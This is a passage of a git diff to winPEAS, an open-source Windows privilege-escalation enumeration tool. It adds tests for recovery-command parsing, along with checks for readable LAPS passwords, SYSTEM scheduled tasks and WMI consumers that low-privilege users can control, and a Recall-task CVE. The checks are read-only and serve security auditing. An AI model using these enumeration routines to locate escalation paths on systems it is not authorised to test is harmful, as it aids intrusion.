executable); + Assert.AreEqual(@"/c C:\ProgramData\Vendor\helper.exe", arguments); + } + + [TestMethod] + public void ResolvesKnownInterpreterAndReferencedScriptTargets() + { + var targets = ServicesInfoHelper.GetRecoveryCommandTargets( + @"cmd.exe /c C:\ProgramData\Vendor\recover.cmd", + @"C:\Windows"); + + CollectionAssert.Contains(targets, @"C:\Windows\System32\cmd.exe"); + CollectionAssert.Contains(targets, @"C:\ProgramData\Vendor\recover.cmd"); + Assert.AreEqual(2, targets.Distinct(System.StringComparer.OrdinalIgnoreCase).Count()); + } + + [TestMethod] + public void RejectsRemoteUnexpandedAndMalformedCommands() + { + string executable; + string arguments; + + Assert.IsFalse(ServicesInfoHelper.TryParseRecoveryCommand( + @"\\server\share\recover.exe", + @"C:\Windows", + out executable, + out arguments)); + Assert.IsFalse(ServicesInfoHelper.TryParseRecoveryCommand( + @"%UNKNOWN_RECOVERY_ROOT%\recover.exe", + @"C:\Windows", + out executable, + out arguments)); + Assert.IsFalse(ServicesInfoHelper.TryParseRecoveryCommand( + @"""C:\Program Files\Vendor\recovery.exe --quiet", + @"C:\Windows", + out executable, + out arguments)); + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj index 270f67bb..576bfc8e 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj @@ -98,8 +98,17 @@ + + + + + + + + + diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/colors.png b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/colors.png old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/dotfuscator.PNG b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/dotfuscator.PNG old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/help.png b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/help.png old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/screen.png b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/screen.png old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/winpeas.png b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/images/winpeas.png old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS.sln b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS.sln old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlSerializer.csproj b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlSerializer.csproj index 50908633..48a3a252 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlSerializer.csproj +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlSerializer.csproj @@ -6,7 +6,7 @@ 9.0.30729 2.0 {AD9F3A60-C492-4823-8F24-6F4854E7CBF5} - Exe + Library Properties YamlSerializer YamlSerializer @@ -41,9 +41,6 @@ bin\Release\YamlSerializer.XML false - - YamlSerializerProgram.Program - @@ -60,13 +57,11 @@ - - @@ -96,4 +91,4 @@ - \ No newline at end of file + diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/App.config b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/App.config index db9c0cde..08ff738e 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/App.config +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/App.config @@ -68,7 +68,7 @@ - + @@ -188,4 +188,4 @@ - \ No newline at end of file + diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ActiveDirectoryInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ActiveDirectoryInfo.cs index 6de2010b..72cee7b7 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ActiveDirectoryInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ActiveDirectoryInfo.cs @@ -8,6 +8,7 @@ using System.Text; using winPEAS.Helpers; using winPEAS.Helpers.Registry; +using winPEAS.Info.ActiveDirectoryInfo; namespace winPEAS.Checks { @@ -22,6 +23,7 @@ public void PrintInfo(bool isDebug) new List { + PrintCurrentComputerLapsPasswordExposure, PrintGmsaReadableByCurrentPrincipal, PrintKerberoastableServiceAccounts, PrintAdObjectControlPaths, @@ -666,6 +668,85 @@ private class AdAccessImpact public int Score { get; set; } } + private void PrintCurrentComputerLapsPasswordExposure() + { + try + { + Beaprint.MainPrint("Current computer LAPS password readable from AD", "T1003"); + Beaprint.LinkPrint( + "https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory#query-extended-rights-permissions", + "A readable cleartext LAPS attribute exposes this computer's managed local administrator credential. Password values are redacted."); + + if (!Checks.IsPartOfDomain) + { + Beaprint.GrayPrint(" [-] Host is not domain-joined. Skipping."); + return; + } + + string defaultNC = GetRootDseProp("defaultNamingContext"); + if (string.IsNullOrEmpty(defaultNC)) + { + Beaprint.GrayPrint(" [-] Could not resolve defaultNamingContext."); + return; + } + + string computerAccount = LapsPasswordExposure.EscapeLdapFilterValue(Environment.MachineName + "$"); + using (var baseDe = new DirectoryEntry("LDAP://" + defaultNC)) + using (var searcher = new DirectorySearcher(baseDe)) + { + searcher.SearchScope = SearchScope.Subtree; + searcher.SizeLimit = 1; + searcher.ClientTimeout = TimeSpan.FromSeconds(5); + searcher.ServerTimeLimit = TimeSpan.FromSeconds(5); + searcher.Filter = "(&(objectCategory=computer)(sAMAccountName=" + computerAccount + "))"; + searcher.PropertiesToLoad.Add("distinguishedName"); + searcher.PropertiesToLoad.Add("ms-Mcs-AdmPwd"); + searcher.PropertiesToLoad.Add("msLAPS-Password"); + + SearchResult result = searcher.FindOne(); + if (result == null) + { + Beaprint.GrayPrint(" [-] Could not find this computer's Active Directory object."); + return; + } + + // Presence in the LDAP response proves the current identity can + // read a populated value. Never materialize or print the value. + bool legacyPasswordReturned = result.Properties.Contains("ms-Mcs-AdmPwd") + && result.Properties["ms-Mcs-AdmPwd"].Count > 0; + bool windowsLapsPasswordReturned = result.Properties.Contains("msLAPS-Password") + && result.Properties["msLAPS-Password"].Count > 0; + LapsPasswordExposureReport report = LapsPasswordExposure.Evaluate( + legacyPasswordReturned, + windowsLapsPasswordReturned); + + if (!report.IsExposed) + { + Beaprint.GrayPrint(" [-] No populated cleartext LAPS password attribute was readable for this computer by the current domain identity."); + return; + } + + Beaprint.BadPrint(" [!] The current domain identity can read this computer's managed local administrator password (value redacted)."); + Beaprint.GrayPrint(" Computer: " + Environment.MachineName); + Beaprint.GrayPrint(" AD object: " + (GetProp(result, "distinguishedName") ?? "")); + + if (report.WindowsLapsPasswordReadable) + { + Beaprint.BadPrint(" Readable attribute: msLAPS-Password (Windows LAPS cleartext password)"); + } + + if (report.LegacyPasswordReadable) + { + Beaprint.BadPrint(" Readable attribute: ms-Mcs-AdmPwd (legacy Microsoft LAPS cleartext password)"); + } + } + } + catch (Exception ex) + { + Beaprint.GrayPrint(" [-] LAPS password exposure check failed: " + ex.Message); + } + } + // Detect gMSA objects where the current principal (or one of its groups) can retrieve the managed password private void PrintGmsaReadableByCurrentPrincipal() { @@ -673,7 +754,7 @@ private void PrintGmsaReadableByCurrentPrincipal() { Beaprint.MainPrint("gMSA readable managed passwords", "T1003"); Beaprint.LinkPrint( - "https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/gmsa.html", + "https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.html", "Look for Group Managed Service Accounts you can read (msDS-ManagedPassword)"); if (!Checks.IsPartOfDomain) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs index b95b6531..39a0ffd6 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs @@ -2,27 +2,74 @@ using System.Collections.Generic; using winPEAS.Helpers; using winPEAS.Info.ApplicationInfo; +using winPEAS.Info.NetworkInfo; namespace winPEAS.Checks { internal class ApplicationsInfo : ISystemCheck { - public string[] MitreAttackIds { get; } = new[] { "T1518", "T1547.001", "T1053.005", "T1010", "T1014" }; + public string[] MitreAttackIds { get; } = new[] { "T1518", "T1547.001", "T1053.005", "T1546.003", "T1068", "T1010", "T1014" }; public void PrintInfo(bool isDebug) { - Beaprint.GreatPrint("Applications Information", "T1518,T1547.001,T1053.005,T1010,T1014"); + Beaprint.GreatPrint("Applications Information", "T1518,T1547.001,T1053.005,T1546.003,T1068,T1010,T1014"); new List { PrintActiveWindow, PrintInstalledApps, + PrintOnlinePackageVulnerabilities, PrintAutoRuns, PrintScheduled, + PrintRecallPolicyConfigurationExposure, + PrintControllableSystemTasks, + PrintPrivilegedWmiEventConsumers, PrintDeviceDrivers, }.ForEach(action => CheckRunner.Run(action, isDebug)); } + void PrintOnlinePackageVulnerabilities() + { + if (!Checks.CheckOnlineVulnPackages) + { + return; + } + + try + { + Beaprint.MainPrint("Package Vulnerabilities", "T1518"); + Beaprint.LinkPrint("", "Optional HackTricks online lookup enabled with -vulnpackages or all. Output is capped at 50 vulnerable packages."); + + var summary = HackTricksHostChecker.GetPackageVulnerabilities(50); + if (!string.IsNullOrEmpty(summary.Error)) + { + Beaprint.PrintException(" " + summary.Error); + return; + } + + Beaprint.NoColorPrint($" Online package vulnerabilities found: {summary.Affected} vulnerable package(s), checked {summary.Checked}."); + if (summary.Lines.Count == 0) + { + Beaprint.GoodPrint(" No vulnerable packages found by the online lookup."); + return; + } + + foreach (var line in summary.Lines) + { + Beaprint.BadPrint(" " + line); + } + + if (summary.NotShown > 0) + { + Beaprint.NoColorPrint($" ... {summary.NotShown} more vulnerable package(s) not shown."); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + void PrintActiveWindow() { try @@ -235,6 +282,202 @@ void PrintScheduled() } } + void PrintControllableSystemTasks() + { + try + { + Beaprint.MainPrint("Low-privilege control of enabled SYSTEM scheduled tasks", "T1053.005"); + Beaprint.LinkPrint("https://learn.microsoft.com/en-us/windows/win32/taskschd/security-contexts-for-running-tasks", "A writable action target or task DACL can let a low-privilege principal replace what the task runs as SYSTEM."); + + PrivilegedScheduledTaskReport report = PrivilegedScheduledTasks.GetReport(); + if (report.ControlFindings.Count == 0 && report.Findings.Count == 0) + { + Beaprint.GoodPrint($" No controllable task definitions or writable targets found within {report.TasksInspected} inspected task(s)."); + } + + foreach (PrivilegedScheduledTaskControlFinding finding in report.ControlFindings) + { + Beaprint.BadPrint($" Task: {finding.TaskPath} ({finding.Principal})"); + Beaprint.BadPrint($" Task control: {finding.AccessReason}"); + Beaprint.PrintLineSeparator(); + } + + foreach (PrivilegedScheduledTaskFinding finding in report.Findings) + { + Beaprint.BadPrint($" Task: {finding.TaskPath} ({finding.Principal})"); + Beaprint.NoColorPrint($" Action: {finding.Executable}"); + Beaprint.BadPrint($" Writable target: {finding.TargetPath}"); + Beaprint.BadPrint($" Access: {finding.AccessReason}"); + Beaprint.PrintLineSeparator(); + } + + if (report.TaskLimitReached) + { + Beaprint.NoColorPrint($" Task inspection stopped at the safety limit of {PrivilegedScheduledTasks.MaxTasks} tasks."); + } + + if (report.FolderLimitReached) + { + Beaprint.NoColorPrint($" Folder inspection stopped at the safety limit of {PrivilegedScheduledTasks.MaxFolders} folders."); + } + + if (report.FindingLimitReached) + { + Beaprint.NoColorPrint($" Findings were capped at {PrivilegedScheduledTasks.MaxFindings}."); + } + + if (report.TargetLimitReached) + { + Beaprint.NoColorPrint($" Filesystem probes stopped at the safety limit of {PrivilegedScheduledTasks.MaxTargets} targets."); + } + + if (report.TimeLimitReached) + { + Beaprint.NoColorPrint($" Inspection stopped at the safety limit of {PrivilegedScheduledTasks.MaxInspectionMilliseconds / 1000} seconds."); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + void PrintPrivilegedWmiEventConsumers() + { + try + { + Beaprint.MainPrint("Writable payloads in privileged WMI event consumers", "T1546.003"); + Beaprint.LinkPrint( + "https://learn.microsoft.com/en-us/windows/win32/wmisdk/commandlineeventconsumer", + "Microsoft warns that CommandLineEventConsumer runs as LocalSystem and that unsecured payloads can be replaced. File-backed ActiveScript consumers are checked too."); + + PrivilegedWmiEventConsumerReport report = PrivilegedWmiEventConsumers.GetReport(); + if (!string.IsNullOrEmpty(report.Error)) + { + Beaprint.InfoPrint(" Inspection incomplete: " + report.Error); + } + + if (report.Findings.Count == 0 && string.IsNullOrEmpty(report.Error)) + { + Beaprint.GoodPrint($" No writable payloads found in {report.BoundConsumersInspected} bound privileged consumer(s)."); + } + + foreach (PrivilegedWmiEventConsumerFinding finding in report.Findings) + { + Beaprint.BadPrint($" Consumer: {finding.ConsumerName} ({finding.ConsumerType})"); + Beaprint.BadPrint($" Writable target: {finding.TargetPath}"); + Beaprint.BadPrint($" Access: {finding.AccessReason}"); + Beaprint.PrintLineSeparator(); + } + + if (report.BindingLimitReached) + { + Beaprint.NoColorPrint($" Binding inspection was capped at {PrivilegedWmiEventConsumers.MaxBindings}."); + } + + if (report.ConsumerLimitReached) + { + Beaprint.NoColorPrint($" Bound-consumer inspection was capped at {PrivilegedWmiEventConsumers.MaxConsumers}."); + } + + if (report.TargetLimitReached) + { + Beaprint.NoColorPrint($" Filesystem probes were capped at {PrivilegedWmiEventConsumers.MaxTargets} targets."); + } + + if (report.FindingLimitReached) + { + Beaprint.NoColorPrint($" Findings were capped at {PrivilegedWmiEventConsumers.MaxFindings}."); + } + + if (report.TimeLimitReached) + { + Beaprint.NoColorPrint($" Inspection stopped at the safety limit of {PrivilegedWmiEventConsumers.MaxInspectionMilliseconds / 1000} seconds."); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + void PrintRecallPolicyConfigurationExposure() + { + try + { + Beaprint.MainPrint("Microsoft Recall PolicyConfiguration task exposure", "T1068,T1053.005"); + Beaprint.LinkPrint( + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20941", + "CVE-2025-60710 and CVE-2026-20941 abused a WNF-triggered SYSTEM task and unsafe privileged directory cleanup. This check is read-only and does not trigger the task."); + + RecallPolicyConfigurationReport report = RecallPolicyConfiguration.GetReport(); + if (!report.TaskPresent) + { + if (report.Status == RecallPolicyConfigurationStatus.InspectionFailed) + { + Beaprint.InfoPrint(" Unable to query the Recall PolicyConfiguration task; verify it manually."); + if (!string.IsNullOrEmpty(report.Error)) + { + Beaprint.InfoPrint(" Inspection detail: " + report.Error); + } + } + else + { + Beaprint.GoodPrint(" Recall PolicyConfiguration task not present."); + } + return; + } + + Beaprint.NoColorPrint(" Task: " + RecallPolicyConfiguration.TaskPath); + Beaprint.NoColorPrint(" Enabled: " + (report.TaskEnabled.HasValue ? report.TaskEnabled.Value.ToString() : "unknown")); + Beaprint.NoColorPrint(" OS: " + (string.IsNullOrEmpty(report.ProductName) ? "unknown" : report.ProductName)); + Beaprint.NoColorPrint(" Build: " + report.BuildString); + Beaprint.NoColorPrint(" SYSTEM principal: " + report.HasSystemPrincipal); + Beaprint.NoColorPrint(" Expected COM handler: " + report.HasExpectedComHandler); + Beaprint.NoColorPrint(" Recall WNF trigger: " + report.HasRecallWnfTrigger); + Beaprint.NoColorPrint(" Expected WNF states: " + report.ExpectedWnfStateCount + "/" + RecallPolicyConfiguration.ExpectedWnfStates.Count); + Beaprint.NoColorPrint(" WNF states: " + (report.WnfStateNames.Count == 0 ? "none found" : string.Join(", ", report.WnfStateNames))); + Beaprint.NoColorPrint(" SessionUnlock trigger: " + report.HasSessionUnlockTrigger); + Beaprint.NoColorPrint(" AllowStartOnDemand: " + (report.AllowStartOnDemand.HasValue ? report.AllowStartOnDemand.Value.ToString() : "unknown")); + + switch (report.Status) + { + case RecallPolicyConfigurationStatus.PotentiallyVulnerable: + Beaprint.BadPrint(" Potentially vulnerable to CVE-2025-60710 / CVE-2026-20941: the task markers match and this build predates the final fix."); + Beaprint.BadPrint(" Required update: " + report.RequiredUpdate + " (build " + report.RequiredBuild + " or later)."); + Beaprint.NoColorPrint(" Recall being disabled does not necessarily remove or disable this scheduled task."); + break; + case RecallPolicyConfigurationStatus.Patched: + Beaprint.GoodPrint(" Task markers match, but the OS build includes the final CVE-2026-20941 fix."); + break; + case RecallPolicyConfigurationStatus.Disabled: + Beaprint.GoodPrint(" Task markers match, but the scheduled task is disabled (Microsoft's documented workaround). Verify the security update before re-enabling it."); + break; + case RecallPolicyConfigurationStatus.NotAffected: + Beaprint.GoodPrint(" Task is present, but this OS build is not in the affected Windows 11 24H2/25H2 or Windows Server 2025 range."); + break; + case RecallPolicyConfigurationStatus.UnexpectedConfiguration: + Beaprint.InfoPrint(" The task is present but its SYSTEM/COM/WNF markers do not match the vulnerable configuration."); + break; + case RecallPolicyConfigurationStatus.UnknownBuild: + Beaprint.InfoPrint(" The vulnerable task markers match, but this OS build could not be mapped confidently. Verify patch status manually."); + break; + case RecallPolicyConfigurationStatus.InspectionFailed: + Beaprint.InfoPrint(" The task is present but could not be inspected completely. Verify its XML and patch status manually."); + break; + } + + if (!string.IsNullOrEmpty(report.Error)) + { + Beaprint.InfoPrint(" Inspection detail: " + report.Error); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + void PrintDeviceDrivers() { try diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs index 3fc60b78..43be7641 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs @@ -24,6 +24,7 @@ public static class Checks public static bool IsLinpeas = false; public static bool IsLolbas = false; public static bool IsNetworkScan = false; + public static bool CheckOnlineVulnPackages = false; public static bool SearchProgramFiles = false; public static IEnumerable PortScannerPorts = null; @@ -141,6 +142,7 @@ internal static void Run(string[] args) if (string.Equals(arg, "all", StringComparison.CurrentCultureIgnoreCase)) { print_fileanalysis_warn = false; + CheckOnlineVulnPackages = true; } if (arg.StartsWith("log", StringComparison.CurrentCultureIgnoreCase)) @@ -184,6 +186,12 @@ internal static void Run(string[] args) DontCheckHostname = true; } + if (string.Equals(arg, "-vulnpackages", StringComparison.CurrentCultureIgnoreCase) || + string.Equals(arg, "vulnpackages", StringComparison.CurrentCultureIgnoreCase)) + { + CheckOnlineVulnPackages = true; + } + if (string.Equals(arg, "quiet", StringComparison.CurrentCultureIgnoreCase)) { Banner = false; @@ -321,6 +329,11 @@ internal static void Run(string[] args) _systemCheckSelectedKeysHashSet.Add("networkscan"); } + if (CheckOnlineVulnPackages && !isAllChecks) + { + _systemCheckSelectedKeysHashSet.Add("applicationsinfo"); + } + if (isAllChecks) { isFileSearchEnabled = true; @@ -346,6 +359,10 @@ internal static void Run(string[] args) CheckRunner.Run(() => CreateDynamicLists(isFileSearchEnabled), IsDebug); + Info.NetworkInfo.HackTricksHostChecker.Start( + includeHostname: !DontCheckHostname, + includePackages: CheckOnlineVulnPackages); + RunChecks(isAllChecks, wait); SearchHelper.CleanLists(); diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs index ea735a78..f9f05d0b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs @@ -1,685 +1,690 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Text.RegularExpressions; -using System.Threading.Tasks; -using winPEAS.Helpers; -using winPEAS.Helpers.Search; -using static winPEAS.Helpers.YamlConfig.YamlConfig.SearchParameters; - -namespace winPEAS.Checks -{ - - internal class FileAnalysis : ISystemCheck - { - private const int ListFileLimit = 70; - - public string[] MitreAttackIds { get; } = new[] { "T1552.001", "T1083" }; - - public void PrintInfo(bool isDebug) - { - Beaprint.GreatPrint("File Analysis", "T1552.001,T1083"); - - new List - { - PrintYAMLSearchFiles, - PrintYAMLRegexesSearchFiles - }.ForEach(action => CheckRunner.Run(action, isDebug)); - } - - private static List InitializeFileSearch(bool useProgramFiles = true) - { - var files = new List(); - var systemDrive = $"{SearchHelper.SystemDrive}\\"; - +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using winPEAS.Helpers; +using winPEAS.Helpers.Search; +using static winPEAS.Helpers.YamlConfig.YamlConfig.SearchParameters; + +namespace winPEAS.Checks +{ + + internal class FileAnalysis : ISystemCheck + { + private const int ListFileLimit = 70; + + public string[] MitreAttackIds { get; } = new[] { "T1552.001", "T1083" }; + + public void PrintInfo(bool isDebug) + { + Beaprint.GreatPrint("File Analysis", "T1552.001,T1083"); + + new List + { + PrintYAMLSearchFiles, + PrintYAMLRegexesSearchFiles + }.ForEach(action => CheckRunner.Run(action, isDebug)); + } + + private static List InitializeFileSearch(bool useProgramFiles = true) + { + var files = new List(); + var systemDrive = $"{SearchHelper.SystemDrive}\\"; + List directories = new List() { @$"{systemDrive}inetpub", @$"{systemDrive}usr\etc\snmp", + // Windows Kubernetes nodes commonly keep kubelet, kube-proxy, + // CNI, and runtime state below these Unix-like paths. + @$"{systemDrive}etc", + @$"{systemDrive}var", + @$"{systemDrive}run", @$"{systemDrive}windows\temp", @$"{systemDrive}xampp", }; - - List wildcardDirectories = new List() - { - "apache*", - "tomcat*", - }; - - foreach (var wildcardDirectory in wildcardDirectories) - { - directories.AddRange(Directory.GetDirectories(systemDrive, wildcardDirectory, SearchOption.TopDirectoryOnly)); - } - - foreach (var directory in directories) - { - files.AddRange(SearchHelper.GetFilesFast(directory, "*", isFoldersIncluded: true)); - } - - files.AddRange(SearchHelper.RootDirUsers); - // files.AddRange(SearchHelper.RootDirCurrentUser); // not needed, it's contained within RootDirUsers - files.AddRange(SearchHelper.DocumentsAndSettings); - files.AddRange(SearchHelper.GroupPolicyHistory); // TODO maybe not needed here - if (useProgramFiles) - { - files.AddRange(SearchHelper.ProgramFiles); - files.AddRange(SearchHelper.ProgramFilesX86); - } - - return files; - } - - private static bool[] Search(List files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound) - { - if (Checks.IsDebug) - Beaprint.PrintDebugLine($"Searching for {fileName}"); - - bool isRegexSearch = fileName.Contains("*"); - bool isFolder = fileSettings.files != null; - string pattern = string.Empty; - - - if (isRegexSearch) - { - pattern = GetRegexpFromString(fileName); - } - - foreach (var file in files) - { - bool isFileFound = false; - - if (isFolder) - { - if (pattern == string.Empty) - { - isFileFound = file.FullPath.ToLower().Contains($"\\{fileName}\\"); - } - else - { - foreach (var fold in file.FullPath.Split('\\').Skip(1)) - { - try - { - isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(20)); - if (isFileFound) break; - } - catch (RegexMatchTimeoutException e) - { - if (Checks.IsDebug) - { - Beaprint.GrayPrint($"The file in folder regex {pattern} had a timeout in {fold} (ReDoS avoided but regex unchecked in a file)"); - } - } - } - } - } - else - { - if (pattern == String.Empty) - { - isFileFound = file.Filename.ToLower() == fileName.ToLower(); - } - else - { - try - { - isFileFound = Regex.IsMatch(file.Filename, pattern, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(20)); - } - catch (RegexMatchTimeoutException e) - { - if (Checks.IsDebug) - { - Beaprint.GrayPrint($"The file regex {pattern} had a timeout in {file.Filename} (ReDoS avoided but regex unchecked in a file)"); - } - } - } - } - - - if (isFileFound) - { - if (!somethingFound) - { - Beaprint.MainPrint($"Found {searchName} Files", "T1552.001"); - somethingFound = true; - } - - if (!isFolder) - { - var isProcessed = ProcessResult(file, fileSettings, ref resultsCount); - if (!isProcessed) - { - return new bool[] { true, somethingFound }; - } - } - // there are inner sections - else - { - foreach (var innerFileToSearch in fileSettings.files) - { - List one_file_list = new List() { file }; - Search(one_file_list, innerFileToSearch.name, innerFileToSearch.value, ref resultsCount, searchName, somethingFound); - } - } - } - } - - - return new bool[] { false, somethingFound }; - } - - public static List SearchContent(string text, string regex_str, bool caseinsensitive) - { - List foundMatches = new List(); - - try - { - Regex rgx; - bool is_re_match = false; - try - { - // Escape backslashes in the regex string - I don't think this is needed anymore - //string escapedRegex = regex_str.Trim().Replace(@"\", @"\\"); - string escapedRegex = regex_str.Trim(); - - // Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches" - if (caseinsensitive) - { - is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120)); - rgx = new Regex(escapedRegex, RegexOptions.IgnoreCase); - } - else - { - is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.None, TimeSpan.FromSeconds(120)); - rgx = new Regex(escapedRegex); - } - } - catch (RegexMatchTimeoutException e) - { - if (Checks.IsDebug) - { - Beaprint.GrayPrint($"The regex {regex_str} had a timeout (ReDoS avoided but regex unchecked in a file)"); - } - return foundMatches; - } - - if (!is_re_match) - { - return foundMatches; - } - - int cont = 0; - foreach (Match match in rgx.Matches(text)) - { - if (cont > 10) break; - - if (match.Value.Length < 400 && match.Value.Trim().Length > 2) - foundMatches.Add(match.Value); - - cont++; - } - } - catch (Exception e) - { - Beaprint.GrayPrint($"Error looking for regex {regex_str} inside files: {e}"); - } - - return foundMatches; - } - - private static void PrintYAMLSearchFiles() - { - try - { - var files = InitializeFileSearch(); - //var folders = files.Where(f => f.IsDirectory).ToList(); - var config = Checks.YamlConfig; - var defaults = config.defaults; - var searchItems = config.search.Where(i => !(i.value.disable != null && i.value.disable.Contains("winpeas"))); - - foreach (var searchItem in searchItems) - { - var searchName = searchItem.name; - var value = searchItem.value; - var searchConfig = value.config; - bool somethingFound = false; - - CheckRunner.Run(() => - { - int resultsCount = 0; - bool[] results; - bool isSearchFinished = false; - - foreach (var file in value.files) - { - var fileName = file.name.ToLower(); - var fileSettings = file.value; - - results = Search(files, fileName, fileSettings, ref resultsCount, searchName, somethingFound); - - isSearchFinished = results[0]; - somethingFound = results[1]; - - if (isSearchFinished) - { - break; - } - } - }, Checks.IsDebug); - } - } - catch (Exception e) - { - } - } - - private static void PrintYAMLRegexesSearchFiles() - { - try - { - //List extra_no_extensions = new List() { ".msi", ".exe", ".dll", ".pyc", ".pyi", ".lnk", ".css", ".hyb", ".etl", ".mo", ".xrm-ms", ".idl", ".vsix", ".mui", ".qml", ".tt" }; - - List valid_extensions = new List() { - // text - ".txt", ".text", ".md", ".markdown", ".toml", ".rtf", - - // config - ".cnf", ".conf", ".config", ".json", ".yml", ".yaml", ".xml", ".xaml", - - // dev - ".py", ".js", ".html", ".c", ".cpp", ".pl", ".rb", ".smali", ".java", ".php", ".bat", ".ps1", - - // hidden - ".id_rsa", ".id_dsa", ".bash_history", ".rsa", - }; - - List invalid_names = new List() - { - "eula.rtf", "changelog.md" - }; - - if (Checks.IsDebug) - Beaprint.PrintDebugLine("Looking for secrets inside files via regexes"); - - // No dirs, less than 1MB, only interesting extensions and not false positives files. - var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < Checks.MaxRegexFileSize).ToList(); - var config = Checks.RegexesYamlConfig; // Get yaml info - Dictionary>>> foundRegexes = new Dictionary>>> { }; - - if (Checks.IsDebug) - { - Beaprint.PrintDebugLine($"Searching regexes in 